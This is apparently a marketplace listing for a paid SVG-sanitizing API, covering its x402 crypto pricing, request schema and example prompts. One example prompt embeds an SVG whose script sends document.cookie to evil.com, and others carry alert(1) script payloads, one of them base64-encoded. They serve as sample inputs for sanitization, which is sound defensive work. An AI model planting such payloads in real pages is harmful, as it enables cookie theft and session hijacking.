{"uid":"cap_fv0ci4eeriKpSicMaQQbr","slug":"beggar-bot-svg-sanitizer-0efa0d69","name":"Beggar Bot SVG Sanitizer","description":"Paid: /v1/verify, /v1/risk, /v1/receipt cost $0.01 USDC per call on Base mainnet via x402 (payTo 0x719227f384b66BFEF00093D6d8d32fA9dC2B40e7); utilities analyze Base mainnet (USDC 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913) by default, network=base-sepolia optional; /v1/receipt/verify and discovery files are free. Operator: Beggar Bot.","url":"https://beggar-bot-demand.beggarbot.workers.dev/v1/svgsanitize?utm_source=zero.xyz","method":"POST","headers":{},"bodySchema":{"type":"object","required":["svg"],"properties":{"b64":{"type":"string"},"svg":{"type":"string"},"allow_external":{"type":"string"}}},"responseSchema":{"type":"object"},"example":null,"exampleRequest":null,"tags":["x402"],"displayCostAmount":"0.02","displayCostAsset":"USDC","priceDynamic":false,"priceHint":null,"priceStatus":"priced","priceSource":"probe","requiresHandshake":false,"reviewCount":0,"rating":{"score":"0.00","successRate":"0.00","reviews":0,"stars":null,"state":"unrated"},"availabilityStatus":"unknown","priceObserved":null,"sessionDeposit":null,"pricing":{"kind":"static","summary":"$0.02/call","primary":{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.02","per":"call","confidence":"exact"},"accepted":[{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.02","per":"call","confidence":"exact"}]},"paymentMethods":[{"uid":"pm_wfm1mKTSz0mKaOVDX36-H","protocol":"x402","methodType":"crypto","chain":"base","mode":"charge","costAmount":"0.02","costPer":"request","priority":0,"asset":"0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913","unit":"request","depositMicros":null,"planRef":null}],"brandName":null,"brandSlug":null,"brandBaseUrl":null,"brandDocsUrl":null,"whatItDoes":"Sanitizes SVG content by stripping unsafe elements, scripts, and optionally external references, returning a cleaned SVG string","exampleAgentPrompt":"Can you sanitize this SVG for me so it's safe to embed on a webpage — strip any scripts or external references from it: <svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script><circle r='50'/></svg>","exampleUseCases":[{"title":"User-uploaded SVG XSS prevention","prompt":"A user just uploaded this SVG to our platform and I need to make sure it's safe before we render it — can you sanitize it and block any scripts or external URLs? Here's the raw SVG: <svg><script>fetch('https://evil.com?c='+document.cookie)</script><rect width='100' height='100'/></svg>"},{"title":"Agent-generated SVG cleanup","prompt":"I had an AI generate an SVG diagram but I want to make sure it's clean before I embed it in the dashboard — please sanitize this SVG and allow external image references since we need them: <svg xmlns='http://www.w3.org/2000/svg'><image href='https://cdn.example.com/logo.png'/></svg>"},{"title":"Base64 SVG sanitization pipeline","prompt":"I have a base64-encoded SVG from an untrusted source that I need to sanitize before storing it — can you clean it up and block any external resource loads? Here's the base64: PHN2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnPjxzY3JpcHQ+YWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4="}],"resultDescription":"Returns a sanitized SVG string with unsafe elements (scripts, event handlers, dangerous attributes) removed. May include metadata about what was stripped. External references are blocked unless allow_external is set.","failureModes":["Invalid or malformed SVG input returns an error","Missing required 'svg' field returns a 400-level error","Payment failure via x402 (insufficient USDC balance) blocks the call","Overly large SVG payloads may be rejected or time out","Base64 decoding failure if b64 field contains invalid encoding"],"whenToPreferThis":"Use this endpoint when you need a paid, API-accessible SVG sanitization service that integrates with the x402 micropayment protocol on Base mainnet. Prefer it in agentic pipelines where you need programmatic, on-demand SVG cleaning without managing your own sanitization library, or when operating in a Web3/crypto-native environment already using x402 for microtransactions.","instructions":null,"reviewSummary":null,"reviewSummaryHighlights":null,"reviewSummaryConcerns":null,"reviewSummaryGeneratedAt":null,"activationCount":0,"lastUsedAt":null,"lastSuccessfullyRanAt":null,"lastHealthCheckAt":"2026-11-22T00:33:05.136Z","isFirstParty":false,"canonicalSlug":"beggar-bot-svg-sanitizer-0efa0d69"}